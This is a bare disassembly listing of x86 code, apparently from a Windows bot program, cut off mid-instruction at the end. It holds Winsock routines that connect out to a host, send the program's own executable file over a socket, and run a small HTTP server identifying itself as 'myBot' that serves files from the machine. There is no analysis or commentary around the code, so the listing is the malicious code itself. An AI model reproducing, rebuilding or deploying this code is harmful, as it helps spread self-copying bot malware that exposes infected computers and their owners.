8D0CC483h dd 0FFF7C885h, 0B5FF50FFh, 0FFFFF8E0h, 29761E8h, 0FC08500h dd 68984h, 0E0858B00h, 3BFFFFF8h, 0FFFC5C85h, 0E5850FFFh dd 0C7000000h, 0FFFCD885h, 10FFh, 0D8858D00h, 50FFFFFCh dd 0F8CC858Dh, 0FF50FFFFh, 0FFFC5CB5h, 0D2F6E8FFh, 8990716Ah dd 0FFF5C485h, 0C4BD83FFh, 0FFFFFFF5h, 0A9840Fh, 0A5830000h dd 0FFFFF5B4h, 8B0DEB00h, 0FFF5B485h, 858940FFh, 0FFFFF5B4h dd 0F5B4858Bh, 853BFFFFh, 0FFFFFEFCh, 858B1973h, 0FFFFF5B4h dd 85848Bh, 3BFFFFFFh, 0FFF5C485h, 0EB0275FFh, 8BCCEB02h dd 0FFF5B485h, 0FC853BFFh, 75FFFFFEh, 0FCBD8329h, 40FFFFFEh dd 858B2073h, 0FFFFF5B4h, 0F5C48D8Bh, 8C89FFFFh, 0FFFF0085h dd 0FC858BFFh, 40FFFFFEh, 0FEFC8589h, 0C033FFFFh, 8675C085h dd 0F5C4858Bh, 853BFFFFh, 0FFFFFE88h, 858B0C7Eh, 0FFFFF5C4h dd 0FE888589h, 6AFFFFh, 7468156Ah, 0FF0044B6h, 0FFF5C4B5h dd 49CE8FFh, 0E990716Ah, 592h, 646A006Ah, 0FE90858Dh, 0FF50FFFFh dd 0FFF8E0B5h, 4FE890FFh, 89716A23h, 0FFF8E485h, 0E4BD83FFh dd 0FFFFF8h, 9D8F0Fh, 0A5830000h, 0FFFFF5B0h, 8B0DEB00h dd 0FFF5B085h, 858940FFh, 0FFFFF5B0h, 0F5B0858Bh, 853BFFFFh dd 0FFFFFEFCh, 858B5E73h, 0FFFFF5B0h, 85848Bh, 3BFFFFFFh dd 0FFF8E085h, 8B4775FFh, 0FFFEFC85h, 853948FFh, 0FFFFF5B0h dd 858B2973h, 0FFFFF5B0h, 0F5B08D8Bh, 8C8BFFFFh, 0FFFF048Dh dd 858C89FFh, 0FFFFFF00h, 0F5B0858Bh, 8940FFFFh, 0FFF5B085h dd 8BC8EBFFh, 0FFFEFC85h, 858948FFh, 0FFFFFEFCh, 87EB02EBh dd 0C085C033h, 0FF74850Fh, 0B5FFFFFFh, 0FFFFF8E0h, 5783E890h dd 0CBE9716Ah, 8D000004h, 0FFFC7085h, 858D50FFh, 0FFFFF8E8h dd 0B68C6850h, 858D0044h, 0FFFFFE90h, 0EFB6E850h, 0C4830000h dd 0B6946810h, 858D0044h, 0FFFFF8E8h, 0E852E850h, 59590000h dd 1A75C085h, 166A006Ah, 44B69C68h, 0E0B5FF00h, 90FFFFF8h dd 6A0381E8h, 465E971h, 0B4680000h, 8D0044B6h, 0FFF8E885h dd 21E850FFh, 590000E8h, 75C08559h, 6A006A1Ah, 0B6BC6814h dd 0B5FF0044h, 0FFFFF8E0h, 350E890h, 34E9716Ah, 68000004h dd 44B6D4h, 0F8E8858Dh, 0E850FFFFh, 0E7F0h, 0C0855959h dd 6A1A75h, 0DC680D6Ah, 0FF0044B6h, 0FFF8E0B5h, 1FE890FFh dd 0E9716A03h, 403h, 44B6EC68h, 0E8858D00h, 50FFFFF8h dd 0E7BFE8h, 85595900h, 6A1A75C0h, 68106A00h, 44B6F4h dd 0F8E0B5FFh, 0EFE8FFFFh, 90716A02h, 3D2E9h, 0B7086800h dd 858D0044h, 0FFFFF8E8h, 0E78EE850h, 59590000h, 1A75C085h dd 1E6A006Ah, 44B70C68h, 0E0B5FF00h, 0E8FFFFF8h, 716A02BEh dd 3A1E990h, 2C680000h, 8D0044B7h, 0FFF8E885h, 5DE850FFh dd 590000E7h, 75C08559h, 0B7346831h, 858D0044h, 0FFFFFC70h dd 0E746E850h, 59590000h, 1A75C085h, 136A006Ah, 44B73868h dd 0E0B5FF00h, 90FFFFF8h, 6A0275E8h, 359E971h, 4C680000h dd 8D0044B7h, 0FFF8E885h, 15E850FFh, 590000E7h, 75C08559h dd 0B7546831h, 858D0044h, 0FFFFFC70h, 0E6FEE850h, 59590000h dd 1A75C085h, 136A006Ah, 44B75868h, 0E0B5FF00h, 90FFFFF8h dd 6A022DE8h, 311E971h, 6C680000h, 8D0044B7h, 0FFF8E885h dd 0CDE850FFh, 590000E6h, 75C08559h, 590A6A3Ah, 44B774BEh dd 84BD8D00h, 0F3FFFFF5h, 6AA566A5h, 84858D00h, 50FFFFF5h dd 0AB37E8h, 8D505900h, 0FFF58485h, 0B5FF50FFh, 0FFFFF8E0h dd 1DCE890h, 0C0E9716Ah, 68000002h, 44B7A0h, 0F8E8858Dh dd 0E850FFFFh, 0E67Ch, 0C0855959h, 56A3B75h, 0B7A8BE59h dd 0BD8D0044h, 0FFFFF56Ch, 0A566A5F3h, 8D006AA4h, 0FFF56C85h dd 0E5E850FFh, 590000AAh, 6C858D50h, 50FFFFF5h, 0F8E0B5FFh dd 8BE8FFFFh, 90716A01h, 26EE9h, 0B7C06800h, 858D0044h dd 0FFFFF8E8h, 0E62AE850h, 59590000h, 850FC085h, 0FAh dd 0F94C858Dh, 8D50FFFFh, 0FFFC2885h, 858D50FFh, 0FFFFFCECh dd 8C858D50h, 50FFFFFEh, 0FEF4858Dh, 8D50FFFFh, 0FFFEF885h dd 0C86850FFh, 8D0044B7h, 0FFFE9085h, 35E850FFh, 830000EDh dd 858D20C4h, 0FFFFFC28h, 0D506E850h, 89590000h, 0FFFCD485h dd 4C858DFFh, 50FFFFF9h, 0D4F3E8h, 85895900h, 0FFFFF5C0h dd 6A326Ah, 0FC28858Dh, 0E850FFFFh, 0D27Ch, 0FF0CC483h dd 0FFF5C0B5h, 0D4B5FFFFh, 68FFFFFCh, 44B7F0h, 0FC28858Dh dd 0E850FFFFh, 0D80Ch, 6A10C483h, 8D006A10h, 0FFFC2885h dd 0E9E850FFh, 830000E1h, 85890CC4h, 0FFFFFC24h, 0FCEC858Dh dd 8D50FFFFh, 0FFFE8C85h, 858D50FFh, 0FFFFFEF4h, 0F8858D50h dd 50FFFFFEh, 44B7F868h, 0DC858D00h, 50FFFFFCh, 0D7C3E8h dd 18C48300h, 1D6A006Ah, 44B80468h, 0E0B5FF00h, 0E8FFFFF8h dd 716A0076h, 159E990h, 24680000h, 8D0044B8h, 0FFF8E885h dd 15E850FFh, 590000E5h, 0FC08559h, 11285h, 6A006A00h dd 0B82C6828h, 0B5FF0044h, 0FFFFF8E0h, 6A0041E8h, 0B5FF9071h dd 0FFFFFC24h, 0FCDC858Dh, 0E850FFFFh, 13Dh, 0F8835959h dd 0C9850F01h, 8D000000h, 0FFFCDC85h, 586850FFh, 8D0044B8h dd 0FFF5C885h, 41E850FFh, 830000D7h, 0BD830CC4h, 0FFFFFC1Ch dd 6A247500h, 18B5FF00h, 8DFFFFFCh, 0FFF5C885h, 858D50FFh dd 0FFFFFB98h, 80B5FF50h dd 0E8FFFFF9h, 0FFFF6D63h, 0E814C483h, 162h, 7501F883h dd 6A006A75h, 0B8746817h, 0B5FF0044h, 0FFFFF8E0h, 0FFBCE890h dd 858D7169h, 0FFFFFCDCh, 0B88C6850h, 858D0044h, 0FFFFF5C8h dd 0D6DAE850h, 0C4830000h, 1CBD830Ch, 0FFFFFCh, 6A2475h dd 0FC18B5FFh, 858DFFFFh, 0FFFFF5C8h, 98858D50h, 50FFFFFBh dd 0F980B5FFh, 0FCE8FFFFh, 83FFFF6Ch, 858D14C4h, 0FFFFF5C8h dd 30BAE850h, 0A1590000h, 4E4220h, 4220A340h, 15EB004Eh dd 206A006Ah, 44B8AC68h, 0E0B5FF00h, 0E8FFFFF8h, 7169FF46h dd 682CEB90h, 44B8D0h, 0F8E8858Dh, 0E850FFFFh, 0E3E8h dd 0C0855959h, 6A1575h, 0D8681B6Ah, 0FF0044B8h, 0FFF8E0B5h dd 0FF18E8FFh, 6A907169h, 8D006A64h, 0FFFE9085h, 8DE850FFh dd 830000D0h, 13E90CC4h, 0E9FFFFF9h, 0FFFFF8C1h, 5F58016Ah dd 4C2C95Eh db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB664Dh nop push 0 push 1 push 2 nop call near ptr 71AB3B91h mov dword_4E4594, eax mov word ptr [ebp-10h], 2 push dword ptr [ebp+8] nop call near ptr 71AB2BF4h mov [ebp-0Ch], eax push dword ptr [ebp+0Ch] nop call near ptr 71AB2B66h mov [ebp-0Eh], ax push 10h lea eax, [ebp-10h] push eax push dword_4E4594 nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_414411 push dword_4E4594 nop call near ptr 71AB9639h nop call near ptr 71AB4428h xor eax, eax jmp short locret_414414 ; --------------------------------------------------------------------------- loc_414411: ; CODE XREF: .XComp0:004143F9j push 1 pop eax locret_414414: ; CODE XREF: .XComp0:0041440Fj leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 508h push 104h lea eax, [ebp-108h] push eax push 0 nop call near ptr 2790000h push offset aRb ; "rb" lea eax, [ebp-108h] push eax call sub_4213F0 pop ecx pop ecx mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_414453 xor eax, eax jmp short locret_4144BB ; --------------------------------------------------------------------------- loc_414453: ; CODE XREF: .XComp0:0041444Dj ; .XComp0:0041449Bj mov eax, [ebp-4] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41449D push dword ptr [ebp-4] push 1 push 400h lea eax, [ebp-508h] push eax call sub_4210E0 add esp, 10h push 0 push 400h lea eax, [ebp-508h] push eax push dword_4E4594 nop call near ptr 71AB428Ah push 1 nop call near ptr 27A0000h jmp short loc_414453 ; --------------------------------------------------------------------------- loc_41449D: ; CODE XREF: .XComp0:0041445Ej push dword ptr [ebp-4] call sub_41EC50 pop ecx push dword_4E4594 nop call near ptr 71AB9639h nop call near ptr 71AB4428h push 1 pop eax locret_4144BB: ; CODE XREF: .XComp0:00414451j leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4144BD proc near ; DATA XREF: sub_4021E5+3768o ; .XComp0:0040E726o var_2918 = dword ptr -2918h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2800 = dword ptr -2800h var_27FC = dword ptr -27FCh var_27F8 = dword ptr -27F8h var_26FC = dword ptr -26FCh var_26F8 = byte ptr -26F8h var_2470 = byte ptr -2470h var_236C = dword ptr -236Ch var_2364 = dword ptr -2364h var_2360 = dword ptr -2360h var_235C = dword ptr -235Ch var_2358 = dword ptr -2358h var_234C = byte ptr -234Ch var_2248 = dword ptr -2248h var_2244 = dword ptr -2244h var_2240 = word ptr -2240h var_223E = word ptr -223Eh var_223C = dword ptr -223Ch var_2230 = byte ptr -2230h var_2030 = byte ptr -2030h var_1030 = dword ptr -1030h var_102C = dword ptr -102Ch var_1028 = dword ptr -1028h var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_1018 = byte ptr -1018h var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2918h call sub_421EE0 push esi push edi mov esi, [ebp+arg_0] mov ecx, 0ECh lea edi, [ebp+var_26FC] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_101C], eax mov eax, [ebp+var_101C] mov dword ptr [eax+3ACh], 1 mov [ebp+var_2244], offset dword_4E45A0 mov [ebp+var_2248], 1 push 10h push 0 lea eax, [ebp+var_2240] push eax call sub_421410 add esp, 0Ch mov [ebp+var_2240], 2 push [ebp+var_236C] call dword_4E1700 ; ntohs mov [ebp+var_223E], ax and [ebp+var_223C], 0 push 0 push 1 loc_414543: ; DATA XREF: .XComp0:00452D10o ; .XComp0:0045320Co push 2 call dword_4E1780 ; socket mov [ebp+var_102C], eax cmp [ebp+var_102C], 0FFFFFFFFh jz loc_414AF5 mov eax, [ebp+var_2364] imul eax, 234h mov ecx, [ebp+var_102C] mov dword_454624[eax], ecx push 10h lea eax, [ebp+var_2240] push eax push [ebp+var_102C] call dword_4E172C ; bind cmp eax, 0FFFFFFFFh jz loc_414AF5 push 7FFFFFFFh push [ebp+var_102C] call dword_4E1728 ; listen cmp eax, 0FFFFFFFFh jz loc_414AF5 lea eax, [ebp+var_2248] push eax push 8004667Eh push [ebp+var_102C] call dword_4E179C ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_414AF5 and [ebp+var_2800], 0 and [ebp+var_2904], 0 loc_4145DD: ; CODE XREF: sub_4144BD+198j and [ebp+var_2908], 0 jmp short loc_4145F3 ; --------------------------------------------------------------------------- loc_4145E6: ; CODE XREF: sub_4144BD:loc_414618j mov eax, [ebp+var_2908] inc eax mov [ebp+var_2908], eax loc_4145F3: ; CODE XREF: sub_4144BD+127j mov eax, [ebp+var_2908] cmp eax, [ebp+var_2800] jnb short loc_41461A mov eax, [ebp+var_2908] mov eax, [ebp+eax*4+var_27FC] cmp eax, [ebp+var_102C] jnz short loc_414618 jmp short loc_41461A ; --------------------------------------------------------------------------- loc_414618: ; CODE XREF: sub_4144BD+157j jmp short loc_4145E6 ; --------------------------------------------------------------------------- loc_41461A: ; CODE XREF: sub_4144BD+142j ; sub_4144BD+159j mov eax, [ebp+var_2908] cmp eax, [ebp+var_2800] jnz short loc_414651 cmp [ebp+var_2800], 40h jnb short loc_414651 mov eax, [ebp+var_2908] mov ecx, [ebp+var_102C] mov [ebp+eax*4+var_27FC], ecx mov eax, [ebp+var_2800] inc eax mov [ebp+var_2800], eax loc_414651: ; CODE XREF: sub_4144BD+169j ; sub_4144BD+172j xor eax, eax test eax, eax jnz short loc_4145DD mov eax, [ebp+var_102C] mov [ebp+var_1020], eax loc_414663: ; CODE XREF: sub_4144BD:loc_414AF0j push 1 pop eax test eax, eax jz loc_414AF5 push 41h pop ecx lea esi, [ebp+var_2800] lea edi, [ebp+var_2904] rep movsd push 0 push 0 push 0 lea eax, [ebp+var_2904] push eax mov eax, [ebp+var_1020] inc eax push eax call dword_4E16E8 ; select cmp eax, 0FFFFFFFFh jnz short loc_4146A4 jmp loc_414AF5 ; --------------------------------------------------------------------------- loc_4146A4: ; CODE XREF: sub_4144BD+1E0j and [ebp+var_1030], 0 jmp short loc_4146BA ; --------------------------------------------------------------------------- loc_4146AD: ; CODE XREF: sub_4144BD+26Cj ; sub_4144BD:loc_414AEBj mov eax, [ebp+var_1030] inc eax mov [ebp+var_1030], eax loc_4146BA: ; CODE XREF: sub_4144BD+1EEj mov eax, [ebp+var_1030] cmp eax, [ebp+var_1020] ja loc_414AF0 lea eax, [ebp+var_2904] push eax push [ebp+var_1030] call dword_4E15EC ; __WSAFDIsSet test eax, eax jz loc_414AEB mov eax, [ebp+var_1030] cmp eax, [ebp+var_102C] jnz loc_4147C4 mov [ebp+var_1028], 10h lea eax, [ebp+var_1028] push eax lea eax, [ebp+var_18] push eax push [ebp+var_102C] call dword_4E1794 ; accept mov [ebp+var_1024], eax cmp [ebp+var_1024], 0FFFFFFFFh jnz short loc_41472B jmp short loc_4146AD ; --------------------------------------------------------------------------- loc_41472B: ; CODE XREF: sub_4144BD+26Aj ; sub_4144BD+2E6j and [ebp+var_290C], 0 jmp short loc_414741 ; --------------------------------------------------------------------------- loc_414734: ; CODE XREF: sub_4144BD:loc_414766j mov eax, [ebp+var_290C] inc eax mov [ebp+var_290C], eax loc_414741: ; CODE XREF: sub_4144BD+275j mov eax, [ebp+var_290C] cmp eax, [ebp+var_2800] jnb short loc_414768 mov eax, [ebp+var_290C] mov eax, [ebp+eax*4+var_27FC] cmp eax, [ebp+var_1024] jnz short loc_414766 jmp short loc_414768 ; --------------------------------------------------------------------------- loc_414766: ; CODE XREF: sub_4144BD+2A5j jmp short loc_414734 ; --------------------------------------------------------------------------- loc_414768: ; CODE XREF: sub_4144BD+290j ; sub_4144BD+2A7j mov eax, [ebp+var_290C] cmp eax, [ebp+var_2800] jnz short loc_41479F cmp [ebp+var_2800], 40h jnb short loc_41479F mov eax, [ebp+var_290C] mov ecx, [ebp+var_1024] mov [ebp+eax*4+var_27FC], ecx mov eax, [ebp+var_2800] inc eax mov [ebp+var_2800], eax loc_41479F: ; CODE XREF: sub_4144BD+2B7j ; sub_4144BD+2C0j xor eax, eax test eax, eax jnz short loc_41472B mov eax, [ebp+var_1024] cmp eax, [ebp+var_1020] jbe short loc_4147BF mov eax, [ebp+var_1024] mov [ebp+var_1020], eax loc_4147BF: ; CODE XREF: sub_4144BD+2F4j jmp loc_414AEB ; --------------------------------------------------------------------------- loc_4147C4: ; CODE XREF: sub_4144BD+236j push 1000h push 0 lea eax, [ebp+var_2030] push eax call sub_421410 add esp, 0Ch push 1000h push 0 lea eax, [ebp+var_1018] push eax call sub_421410 add esp, 0Ch push 0 push 1000h lea eax, [ebp+var_2030] push eax push [ebp+var_1030] call dword_4E1718 ; recv test eax, eax jg loc_4148AF push [ebp+var_1030] call dword_4E1798 ; closesocket loc_41481E: ; CODE XREF: sub_4144BD+3E7j and [ebp+var_2910], 0 jmp short loc_414834 ; --------------------------------------------------------------------------- loc_414827: ; CODE XREF: sub_4144BD:loc_41489Ej mov eax, [ebp+var_2910] inc eax mov [ebp+var_2910], eax loc_414834: ; CODE XREF: sub_4144BD+368j mov eax, [ebp+var_2910] cmp eax, [ebp+var_2800] jnb short loc_4148A0 mov eax, [ebp+var_2910] mov eax, [ebp+eax*4+var_27FC] cmp eax, [ebp+var_1030] jnz short loc_41489E loc_414857: ; CODE XREF: sub_4144BD+3D0j mov eax, [ebp+var_2800] dec eax cmp [ebp+var_2910], eax jnb short loc_41488F mov eax, [ebp+var_2910] mov ecx, [ebp+var_2910] mov ecx, [ebp+ecx*4+var_27F8] mov [ebp+eax*4+var_27FC], ecx mov eax, [ebp+var_2910] inc eax mov [ebp+var_2910], eax jmp short loc_414857 ; --------------------------------------------------------------------------- loc_41488F: ; CODE XREF: sub_4144BD+3A7j mov eax, [ebp+var_2800] dec eax mov [ebp+var_2800], eax jmp short loc_4148A0 ; --------------------------------------------------------------------------- loc_41489E: ; CODE XREF: sub_4144BD+398j jmp short loc_414827 ; --------------------------------------------------------------------------- loc_4148A0: ; CODE XREF: sub_4144BD+383j ; sub_4144BD+3DFj xor eax, eax test eax, eax jnz loc_41481E jmp loc_414AEB ; --------------------------------------------------------------------------- loc_4148AF: ; CODE XREF: sub_4144BD+34Fj push 104h push 0 lea eax, [ebp+var_234C] push eax call sub_421410 add esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_4148DD ; --------------------------------------------------------------------------- loc_4148CF: ; CODE XREF: sub_4144BD:loc_414AE6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4148DD: ; CODE XREF: sub_4144BD+410j lea eax, [ebp+var_2030] push eax call sub_41EBD0 pop ecx cmp [ebp+var_4], eax jnb loc_414AEB mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov cl, [ebp+ecx+var_2030] mov [ebp+eax+var_1018], cl mov eax, [ebp+var_4] movsx eax, [ebp+eax+var_2030] cmp eax, 0Ah jnz loc_414AE6 push offset aGet ; "GET " lea eax, [ebp+var_1018] push eax call sub_421B10 pop ecx pop ecx test eax, eax jz short loc_414990 lea eax, [ebp+var_1018] push eax call sub_41EBD0 pop ecx cmp eax, 5 jbe short loc_414990 push offset asc_44B900 ; " " push offset asc_44B904 ; " " push offset aGet_0 ; "GET " lea eax, [ebp+var_1018] push eax call sub_421B10 pop ecx pop ecx push eax call sub_421B10 pop ecx pop ecx push eax call sub_4227D0 pop ecx pop ecx mov [ebp+var_2244], eax push [ebp+var_2244] lea eax, [ebp+var_234C] push eax call sub_422580 pop ecx pop ecx jmp loc_414ACC ; --------------------------------------------------------------------------- loc_414990: ; CODE XREF: sub_4144BD+473j ; sub_4144BD+485j push offset asc_44B910 ; "\r\n" lea eax, [ebp+var_1018] push eax call sub_422740 pop ecx pop ecx test eax, eax jnz loc_414ACC loc_4149AB: ; CODE XREF: sub_4144BD+574j and [ebp+var_2914], 0 jmp short loc_4149C1 ; --------------------------------------------------------------------------- loc_4149B4: ; CODE XREF: sub_4144BD:loc_414A2Bj mov eax, [ebp+var_2914] inc eax mov [ebp+var_2914], eax loc_4149C1: ; CODE XREF: sub_4144BD+4F5j mov eax, [ebp+var_2914] cmp eax, [ebp+var_2800] jnb short loc_414A2D mov eax, [ebp+var_2914] mov eax, [ebp+eax*4+var_27FC] cmp eax, [ebp+var_1030] jnz short loc_414A2B loc_4149E4: ; CODE XREF: sub_4144BD+55Dj mov eax, [ebp+var_2800] dec eax cmp [ebp+var_2914], eax jnb short loc_414A1C mov eax, [ebp+var_2914] mov ecx, [ebp+var_2914] mov ecx, [ebp+ecx*4+var_27F8] mov [ebp+eax*4+var_27FC], ecx mov eax, [ebp+var_2914] inc eax mov [ebp+var_2914], eax jmp short loc_4149E4 ; --------------------------------------------------------------------------- loc_414A1C: ; CODE XREF: sub_4144BD+534j mov eax, [ebp+var_2800] dec eax mov [ebp+var_2800], eax jmp short loc_414A2D ; --------------------------------------------------------------------------- loc_414A2B: ; CODE XREF: sub_4144BD+525j jmp short loc_4149B4 ; --------------------------------------------------------------------------- loc_414A2D: ; CODE XREF: sub_4144BD+510j ; sub_4144BD+56Cj xor eax, eax test eax, eax jnz loc_4149AB lea eax, [ebp+var_234C] test eax, eax jz short loc_414ABE lea eax, [ebp+var_234C] push eax call sub_41EBD0 pop ecx mov esi, eax lea eax, [ebp+var_2470] push eax call sub_41EBD0 pop ecx add esi, eax cmp esi, 104h jnb short loc_414AB0 and [ebp+var_2918], 0 lea eax, [ebp+var_2918] push eax push 8004667Eh push [ebp+var_1030] call dword_4E179C ; ioctlsocket push [ebp+var_2364] push [ebp+var_2358] lea eax, [ebp+var_234C] push eax lea eax, [ebp+var_2470] push eax push [ebp+var_1030] call sub_414D5E add esp, 14h jmp short loc_414ABC ; --------------------------------------------------------------------------- loc_414AB0: ; CODE XREF: sub_4144BD+5A8j push [ebp+var_1030] call dword_4E1798 ; closesocket loc_414ABC: ; CODE XREF: sub_4144BD+5F1j jmp short loc_414ACA ; --------------------------------------------------------------------------- loc_414ABE: ; CODE XREF: sub_4144BD+582j push [ebp+var_1030] call dword_4E1798 ; closesocket loc_414ACA: ; CODE XREF: sub_4144BD:loc_414ABCj jmp short loc_414AEB ; --------------------------------------------------------------------------- loc_414ACC: ; CODE XREF: sub_4144BD+4CEj ; sub_4144BD+4E8j push 1000h push 0 lea eax, [ebp+var_1018] push eax call sub_421410 add esp, 0Ch or [ebp+var_8], 0FFFFFFFFh loc_414AE6: ; CODE XREF: sub_4144BD+458j jmp loc_4148CF ; --------------------------------------------------------------------------- loc_414AEB: ; CODE XREF: sub_4144BD+224j ; sub_4144BD:loc_4147BFj ... jmp loc_4146AD ; --------------------------------------------------------------------------- loc_414AF0: ; CODE XREF: sub_4144BD+209j jmp loc_414663 ; --------------------------------------------------------------------------- loc_414AF5: ; CODE XREF: sub_4144BD+9Bj ; sub_4144BD+D1j ... call dword_4E1694 ; WSAGetLastError push eax push offset unk_44B914 lea eax, [ebp+var_2230] push eax call sub_4219C0 add esp, 0Ch cmp [ebp+var_235C], 0 jnz short loc_414B3D push 0 push [ebp+var_2360] lea eax, [ebp+var_2230] push eax lea eax, [ebp+var_26F8] push eax push [ebp+var_26FC] call sub_40B00F add esp, 14h loc_414B3D: ; CODE XREF: sub_4144BD+65Aj lea eax, [ebp+var_2230] push eax call sub_4173DC pop ecx push [ebp+var_102C] call dword_4E1798 ; closesocket push [ebp+var_2364] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h pop edi pop esi leave retn 4 sub_4144BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B70 proc near ; DATA XREF: sub_414D5E+341o var_1658 = dword ptr -1658h var_15D4 = byte ptr -15D4h var_14D0 = byte ptr -14D0h var_12C4 = dword ptr -12C4h var_12C0 = dword ptr -12C0h var_12B0 = dword ptr -12B0h var_12A8 = byte ptr -12A8h var_11A4 = byte ptr -11A4h var_1170 = byte ptr -1170h var_170 = byte ptr -170h var_128 = dword ptr -128h var_124 = byte ptr -124h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1658h call sub_421EE0 push esi push edi mov esi, [ebp+arg_0] mov ecx, 0ECh lea edi, [ebp+var_1658] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_128], eax mov eax, [ebp+var_128] mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_15D4] push eax lea eax, [ebp+var_104] push eax call sub_4219C0 pop ecx pop ecx lea eax, [ebp+var_14D0] push eax lea eax, [ebp+var_12A8] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_12B0], 0 jz short loc_414BF0 push offset aTextHtml ; "text/html" lea eax, [ebp+var_11A4] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_414C03 ; --------------------------------------------------------------------------- loc_414BF0: ; CODE XREF: sub_414B70+69j push offset aApplicationOct ; "application/octet-stream" lea eax, [ebp+var_11A4] push eax call sub_4219C0 pop ecx pop ecx loc_414C03: ; CODE XREF: sub_414B70+7Ej push 46h lea eax, [ebp+var_170] push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push 0 push 0 push 409h nop call near ptr 2850000h push 1Eh lea eax, [ebp+var_124] push eax push offset aHhMmSs ; "HH:mm:ss" push 0 push 0 push 409h nop call near ptr 2840000h cmp [ebp+var_12C4], 0FFFFFFFFh jnz short loc_414C8D lea eax, [ebp+var_124] push eax lea eax, [ebp+var_170] push eax lea eax, [ebp+var_124] push eax lea eax, [ebp+var_170] push eax lea eax, [ebp+var_124] push eax lea eax, [ebp+var_170] push eax lea eax, [ebp+var_11A4] push eax push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... lea eax, [ebp+var_1170] push eax call sub_4219C0 add esp, 24h jmp short loc_414CD8 ; --------------------------------------------------------------------------- loc_414C8D: ; CODE XREF: sub_414B70+D4j lea eax, [ebp+var_124] push eax lea eax, [ebp+var_170] push eax lea eax, [ebp+var_124] push eax lea eax, [ebp+var_170] push eax lea eax, [ebp+var_124] push eax lea eax, [ebp+var_170] push eax push [ebp+var_12C4] lea eax, [ebp+var_11A4] push eax push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... lea eax, [ebp+var_1170] push eax call sub_4219C0 add esp, 28h loc_414CD8: ; CODE XREF: sub_414B70+11Bj push 0 lea eax, [ebp+var_1170] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_1170] push eax push [ebp+var_1658] call dword_4E1750 ; send cmp [ebp+var_12B0], 0 jnz short loc_414D1A lea eax, [ebp+var_104] push eax push [ebp+var_1658] call sub_41590E pop ecx pop ecx jmp short loc_414D38 ; --------------------------------------------------------------------------- loc_414D1A: ; CODE XREF: sub_414B70+192j lea eax, [ebp+var_12A8] push eax push 0 push [ebp+var_1658] lea eax, [ebp+var_104] push eax call sub_415120 add esp, 10h loc_414D38: ; CODE XREF: sub_414B70+1A8j push [ebp+var_1658] call dword_4E1798 ; closesocket push [ebp+var_12C0] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h pop edi pop esi leave retn 4 sub_414B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D5E proc near ; CODE XREF: sub_4144BD+5E9p var_8D8 = dword ptr -8D8h var_8D4 = dword ptr -8D4h var_8D0 = dword ptr -8D0h var_8CC = byte ptr -8CCh var_8CB = byte ptr -8CBh var_8CA = byte ptr -8CAh var_7C8 = dword ptr -7C8h var_7C4 = dword ptr -7C4h var_740 = byte ptr -740h var_63C = byte ptr -63Ch var_430 = dword ptr -430h var_42C = dword ptr -42Ch var_41C = dword ptr -41Ch var_415 = byte ptr -415h var_414 = byte ptr -414h var_310 = byte ptr -310h var_30C = byte ptr -30Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8D8h push esi and [ebp+var_7C8], 0 push 104h push 0 lea eax, [ebp+var_414] push eax call sub_421410 add esp, 0Ch mov eax, [ebp+arg_8] movsx eax, byte ptr [eax] cmp eax, 2Fh jz short loc_414DA9 push [ebp+arg_8] push offset aS_21 ; "\\%s" lea eax, [ebp+var_8CC] push eax call sub_4219C0 add esp, 0Ch jmp short loc_414DC6 ; --------------------------------------------------------------------------- loc_414DA9: ; CODE XREF: sub_414D5E+30j mov eax, [ebp+arg_8] mov byte ptr [eax], 5Ch push [ebp+arg_8] push offset aS_22 ; "%s" lea eax, [ebp+var_8CC] push eax call sub_4219C0 add esp, 0Ch loc_414DC6: ; CODE XREF: sub_414D5E+49j and [ebp+var_108], 0 and [ebp+var_10C], 0 jmp short loc_414DF0 ; --------------------------------------------------------------------------- loc_414DD6: ; CODE XREF: sub_414D5E:loc_414EBFj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax mov eax, [ebp+var_10C] inc eax mov [ebp+var_10C], eax loc_414DF0: ; CODE XREF: sub_414D5E+76j lea eax, [ebp+var_8CC] push eax call sub_41EBD0 pop ecx cmp [ebp+var_108], eax jnb loc_414EC4 mov esi, [ebp+var_108] inc esi inc esi lea eax, [ebp+var_8CC] push eax call sub_41EBD0 pop ecx cmp esi, eax jnb short loc_414E79 mov eax, [ebp+var_108] movsx 